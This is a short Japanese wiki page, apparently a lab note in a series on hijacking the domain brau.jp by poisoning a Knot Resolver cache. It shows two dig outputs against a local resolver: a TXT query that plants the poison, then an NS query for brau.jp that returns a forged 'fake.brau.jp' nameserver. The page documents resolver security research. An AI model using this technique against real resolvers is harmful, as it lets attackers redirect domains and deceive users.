## page was renamed from DNS/KnotResolver/brau.internat.jp/brau.jpを乗取る/第二段/必要なかったケース
== DNS/KnotResolver/brau.internat.jp/brau.jpを乗取る/第二段/必要なかったケース ==
<<TableOfContents()>>

[[/その2]]

== 毒の仕込み ==
{{{
$dig -t txt brau.internat.jp @127.0.0.1

; <<>> DiG 9.16.1-Ubuntu <<>> -t txt brau.internat.jp @127.0.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40882
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;brau.internat.jp.		IN	TXT

;; ANSWER SECTION:
brau.internat.jp.	60	IN	TXT	"brau.internat.jp"

;; Query time: 783 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: 日  8月 30 11:21:51 JST 2020
;; MSG SIZE  rcvd: 74
}}}

== 毒入り返答 ==

{{{
$ dig -t ns brau.jp @127.0.0.1

; <<>> DiG 9.16.1-Ubuntu <<>> -t ns brau.jp @127.0.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25784
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;brau.jp.			IN	NS

;; ANSWER SECTION:
brau.jp.		300	IN	NS	fake.brau.jp.

;; Query time: 11 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: 日  8月 30 11:22:04 JST 2020
;; MSG SIZE  rcvd: 55
}}}